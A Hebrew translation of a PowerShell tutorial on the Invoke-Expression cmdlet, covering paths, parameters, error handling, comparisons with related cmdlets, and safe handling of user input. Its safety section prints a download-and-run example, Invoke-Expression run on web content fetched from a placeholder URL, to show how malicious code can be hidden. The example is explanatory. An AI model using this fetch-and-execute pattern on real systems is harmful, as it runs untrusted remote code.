Invoke-Expression: יתרונות, חסרונות ושיטות מומלצות

הפקודה Invoke-Expression ב־PowerShell יכולה להיות קלה להבנה כיצד להשתמש בה ומתי לא להשתמש בה. במאמר זה, אני יצרתי מספר שאלות נפוצות מאוד. אני הולך לפרט אותן ולכלול המון דוגמאות שימושיות עבורך להפניה בכל פעם שתזדקק.

זה אומר שעליך לשמור על קישור לדף זה כרגע!

רוצה עוד טיפים כמו זה? בדוק את הבלוג האישי שלי ב־PowerShell ב: https://www.nkasco.com/

מהו Invoke-Expression?

התיאור הרשמי, לפי Microsoft, הוא: "הפקודה Invoke-Expression משערת או מריצה מחרוזת מסוימת כפקודה ומחזירה את תוצאות הביטוי או הפקודה. ללא Invoke-Expression, מחרוזת שנשלחת בשורת הפקודה תוחזר (תודפס) כפי שהיא."

במילים אחרות, זה יכול להיות שימושי לקריאת קוד בתוך סקריפט או לבניית פקודות להרצה מאוחר יותר. כמו כן, יש להשתמש בו בזהירות בשילוב עם קלט מסופק על ידי המשתמש.

הדוגמה הבסיסית ביותר לשימוש ב־Invoke-Expression היא הגדרת סקריפט והעברת מחרוזת זו לפרמטר Command. Invoke-Expression מבצעת אז את המחרוזת הזו.

#הפעלת פקודת PowerShell דרך Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#ביצוע סקריפט דרך Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

מה לעשות אם יש רווחים בנתיב הסקריפט שלי?

ודא שאתה מסביר מחרוזות עם גרש יחיד או גרשיים.

לדוגמה, אם תרצה לבצע מחרוזת עם רווח בנתיב, אפשרויות אלו לא יעבדו:

# אלו לא יעבדו
$MyScript = "C:\Folder Path\MyScript.ps1"
# או
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

למה? כי זה בדיוק אותו דבר כמו להקליד זאת ישירות בקונסולת PowerShell:

PS51> C:\Folder Path\MyScript.ps1

אך אם תסגור את פריט הנתיב בגרש יחיד או גרשיים ותשים את כל המחרוזת בתוך גרשים, Invoke-Expression יבצע את הסקריפט כצפוי.

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

הפרמטר היחיד של Invoke-Expression הוא Command. אין דרך טבעית להעביר פרמטרים עם Invoke-Expression. אך במקום זאת, תוכל לכלול אותם במחרוזת שאתה מעביר לפרמטר Command.

אולי יש לך סקריפט עם שני פרמטרים בשם Path ו-Force. במקום להשתמש בפרמטר ספציפי דרך Invoke-Expression, תוכל להעביר פרמטרים לסקריפט כפי שתעשה כרגיל דרך הקונסול.

אם בדרך כלל תקרא לסקריפט כך דרך הקונסול:

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

תצטרך לכלול את כל השורה הזו בתוך מחרוזת ולאחר מכן להעביר את המחרוזת הזו לפרמטר Command.

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# או
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

האם try/catch יכול להיות רלוונטי עם Invoke-Expression?

לא באמת. זה אומר שעליך להשתמש בטיפול בשגיאות בתוך הפרמטר שלך Command.

דוגמה:

# לא עובד - Invoke-Expression אינו פועל כמנהל שגיאות גלובלי!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

מה ההבחנה בין Invoke-Expression ובין אופרטור הקריאה (&)?

האופרטור לקריאה (&) מצוין להפעלה מהירה של פקודה, סקריפט או בלוק סקריפט. אך האופרטור לא מפענח את הפקודה. הוא אינו יכול לפרש פרמטרים כפי ש-Invoke-Expression יכול.

לדוגמה, אולי אני רוצה לקבל את תהליך PowerShell Core באמצעות cmdlet Get-Process באמצעות הקוד Get-Process -ProcessName pwsh. חיבור של Get-Process והפרמטר לא יעבוד כצפוי באמצעות אופרטור הקריאה.

$a = "Get-Process"

## לא עובד
& "$a pwsh"

אך אם תבצע את המחרוזת הזו עם Invoke-Expression, זה יעבוד כפי שצוין.

Invoke-Expression "$a pwsh"

מה ההבחנה בין Invoke-Expression ו-Start-Process?

קומלט מספקת קוד החזרה או קוד יציאה באובייקט שמתקבל. זה מאפשר לך להמתין שהתהליך שנקרא יסתיים ואף מאפשר לך להפעיל תהליך תחת הרשאה שונה של Windows. Invoke-Expression הוא אפשרות מהירה וזמינה בתחום נקי בעוד ש-Start-Process יכול להיות יותר שימושי לפרש תוצאות של תהליכים שנקראו.

מה ההבחנה בין Invoke-Expression לבין Invoke-Command?

Invoke-Expression פשוט "מתרגם" מחרוזת לקוד ביצוע. לעומתו, Invoke-Command משתמש ב־PowerShell Remoting, מעניק לך את היכולת להפעיל קוד באופן מקומי או מרחוק על מחשבים.

Invoke-Command הוא הבחירה המועדפת כאשר אתה כותב את הפקודות המבוצעות כעת, מאחר ואתה שומר על Intellisense בסביבת הפיתוח שלך, בעוד ש־Invoke-Expression הוא הבחירה המועדפת אם ברצונך לקרוא לסקריפט נוסף מתוך הסקריפט הנוכחי שלך.

דוגמה:

#שתי הדרכים עובדות באותו אופן, אך אבדנו את Intellisense עם דוגמת Invoke-Expression.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

מה ההבחנה בין Invoke-Expression ל־Invoke-Item?

פקודת ה־Invoke-Item נותנת לך תמיכה מיידית בפעולה רבה עבור נתיבים מרובים לפתיחת מסמכים בפעולתם הדיפולטיבית, עם פרמטרים לכלול, לא לכלול, להוסיף הרשאות, ואף אישור לביטחון נוסף.

האם Invoke-Expression הוא בטוח?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

דוגמה:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

מהם כמה ייעוץי הטובה להרצת פקודות/ביטויים מרובים?

אם יש לך מספר פקודות לבצע, אף ש־Invoke-Expression מקבל רק מחרוזת במקום מערך, ניתן להשתמש בצינורות של PowerShell כדי לשלוח אובייקטים למטה בצינור אחד אחר זה.

דוגמה:

# לא עובד
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# עובד
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

איך אני משתמש ב־Invoke-Expression עם קלט משתמש?

עליך להיות זהיר מאוד בשימוש ב־Invoke-Expression עם קלט משתמש. אם אתה מאפשר הודעה למשתמש בדרך שנותנת לו גישה מחוץ לפקודה שאתה מתכנן לבצע, זה עשוי ליצור פרצות אבטחה לא רצויות. הנה אחת הדרכים שבה תוכל ליישם בטוח קלט משתמש עם Invoke-Expression.

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # אמת את קלט המשתמש כאן לפני שתמשיך
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # תמנע משימוש ב־$Response כאן
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

מסקנה

לכל cmdlet יש מקום שלו ו־Invoke-Expression הוא אחד מהם שכמעט כולם יתקלו בו בסופו של דבר. חשוב להבין את היתרונות והחסרונות של cmdlets שמצויימים בשימוש תדיר כך שתיישם אותם בדרך שתקדם אותך להצלחה. אני סקרני לשמוע כיצד השתמשתם ב־Invoke-Expression כדי לפתור חלק מהאתגרים שלכם, השאירו תגובה למטה ושתפו את סיפורכם!

רוצה עוד טיפים כאלה? בדוק את הבלוג שלי בפוורשל בכתובת: https://www.nkasco.com/

קריאה נוספת

Source:
https://adamtheautomator.com/invoke-expression/